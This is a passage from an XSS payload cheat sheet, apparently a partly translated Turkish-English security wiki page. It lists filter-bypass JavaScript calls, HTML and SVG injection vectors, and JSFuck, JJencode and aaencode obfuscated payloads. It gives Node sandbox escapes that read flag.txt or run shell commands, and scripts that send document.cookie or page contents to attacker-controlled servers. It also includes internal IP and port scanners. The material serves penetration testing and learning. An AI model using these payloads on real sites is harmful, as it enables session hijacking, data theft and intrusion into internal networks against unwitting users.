var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Herhangi bir fonksiyon (alert) çağrısı
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM zaafiyetleri
There is JS code that is using unsafely data controlled by an attacker like location.href
. An attacker, could abuse this to execute arbitrary JS code.
Due to the extension of the explanation of DOM vulnerabilities it was moved to this page:
There you will find a detailed explanation of what DOM vulnerabilities are, how are they provoked, and how to exploit them.
Also, don't forget that at the end of the mentioned post you can find an explanation about DOM Clobbering attacks.
Self-XSS'i Yükseltme
Cookie XSS
If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a vulnerable subdomain to XSS, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
You can find a great abuse of this technique in this blog post.
Oturumunuzu admin'e gönderme
Maybe an user can share his profile with the admin and if the self XSS is inside the profile of the user and the admin access it, he will trigger the vulnerability.
Session Mirroring
If you find some self XSS and the web page have a session mirroring for administrators, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.
You could make the administrator trigger your self XSS and steal his cookies/session.
Diğer Bypass'lar
Normalised Unicode
You could check is the reflected values are being unicode normalized in the server (or in the client side) and abuse this functionality to bypass protections. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
RoR mass assignment nedeniyle tırnak işaretleri HTML'e eklenir ve tırnak sınırlaması atlanır ve ek alanlar (onfocus) etiketin içine eklenebilir.
Form örneği (from this report), eğer payload'u gönderirseniz:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
"Key","Value" çifti şöyle geri yansıtılacaktır:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Sonra, onfocus özniteliği eklenecek ve XSS oluşur.
Özel kombinasyonlar
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
302 yanıtında header injection ile XSS
Eğer inject headers in a 302 Redirect response yapabildiğinizi görürseniz, tarayıcının rastgele JavaScript’i çalıştırmasını make the browser execute arbitrary JavaScript denemelisiniz. Bu not trivial çünkü modern tarayıcılar HTTP yanıt durum kodu 302 ise HTTP yanıt gövdesini yorumlamaz; bu yüzden sadece bir cross-site scripting payload’u genelde işe yaramaz.
In this report and this one bu kaynaklarda Location header içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin gövde içindeki XSS payload’unu tarayıcının inceleyip çalıştırmasına izin verip vermediğini okuyabilirsiniz.
Past known protocols: mailto://
, //x:1/
, ws://
, wss://
, empty Location header, resource://
.
Yalnız Harfler, Rakamlar ve Noktalar
Eğer javascript’in execute edeceği callback’i bu karakterlerle sınırlı olarak belirleyebiliyorsanız. Bu davranışı nasıl suistimal edeceğinizi öğrenmek için Read this section of this post bölümünü okuyun.
Valid <script>
Content-Types to XSS
(From here) Eğer application/octet-stream
gibi bir content-type ile bir script yüklemeye çalışırsanız, Chrome aşağıdaki hatayı fırlatacaktır:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Chrome’un bir loaded script’i çalıştırmasına izin verecek tek Content-Typelar, https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc içindeki const kSupportedJavascriptTypes
içinde yer alanlardır.
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Script Types to XSS
(From here) Peki, bir script yüklemek için hangi türler belirtilebilir?
<script type="???"></script>
- module (varsayılan, açıklamaya gerek yok)
- webbundle: Web Bundles, bir dizi veriyi (HTML, CSS, JS…)
.wbn
dosyası halinde paketleyebileceğiniz bir özelliktir.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: İçe aktarma sözdizimini geliştirmeye olanak tanır
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Bu davranış, bir kütüphaneyi eval'e yeniden eşleyerek suistimal etmek ve böylece XSS tetiklemek için this writeup içinde kullanıldı.
- speculationrules: Bu özellik esas olarak pre-rendering'in yol açtığı bazı sorunları çözmek için tasarlanmıştır. İşleyişi şöyle:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web Content-Types ile XSS
(Kaynak: here) Aşağıdaki Content-Types tüm tarayıcılarda XSS çalıştırabilir:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? not in the list but I think I saw this in a CTF)
- application/rss+xml (off)
- application/atom+xml (off)
Diğer tarayıcılarda diğer Content-Types
rastgele JS yürütmek için kullanılabilir, bak: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
Eğer sayfa text/xml content-type ile döndürülüyorsa bir namespace belirtilip rastgele JS çalıştırmak mümkündür:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Özel Değiştirme Kalıpları
Bir şey şu şekilde kullanıldığında "some {{template}} data".replace("{{template}}", <user_input>)
, saldırgan bazı korumaları atlatmak için special string replacements kullanabilir: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Örneğin this writeup içinde, bu bir script içinde scape a JSON string yapmak ve execute arbitrary code için kullanıldı.
Chrome Cache to XSS
XS Jails Escape
Sadece sınırlı sayıda karakter (chars) kullanabiliyorsanız, XSJail problems için aşağıdaki diğer geçerli çözümlere göz atın:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Eğer güvenilmeyen kodu çalıştırmadan önce her şey undefined ise (ör. this writeup), keyfi güvenilmeyen kodun yürütülmesini kötüye kullanmak için faydalı nesneleri "hiçten" üretmek mümkün olabilir:
- import() kullanarak
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
require
'e dolaylı erişim
According to this modüller Node.js tarafından aşağıdaki gibi bir fonksiyon içine sarılır:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Bu nedenle, eğer o modülden başka bir fonksiyonu çağırabiliyorsak, o fonksiyondan arguments.callee.caller.arguments[1]
kullanarak require
'e erişmek mümkündür:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
Önceki örneğe benzer şekilde, modülün wrapper'ına erişmek ve require
fonksiyonunu almak için use error handlers kullanmak mümkündür:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Gelişmiş Bypass
- Aynı sayfada farklı obfuscations: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Daha gelişmiş JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS yaygın payloads
Birden fazla payload bir arada
Iframe Trap
Kullanıcının iframe'den çıkmadan sayfada gezinmesini sağlayın ve eylemlerini çalın (formlarla gönderilen bilgiler dahil):
Cookies Elde Etme
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
tip
Eğer cookie üzerinde HTTPOnly flag ayarlıysa, JavaScript ile cookies'e erişemezsiniz. Ancak şanslıysanız, bu korumayı atlatmanın bazı yolları burada.
Sayfa İçeriğini Çal
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Dahili IP'leri Bul
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Kısa süreler yanıt veren bir portu gösterir Daha uzun süreler yanıt olmadığını gösterir.
Chrome'da yasaklanan portların listesini here ve Firefox'ta here inceleyin.
Kimlik bilgileri isteme kutusu
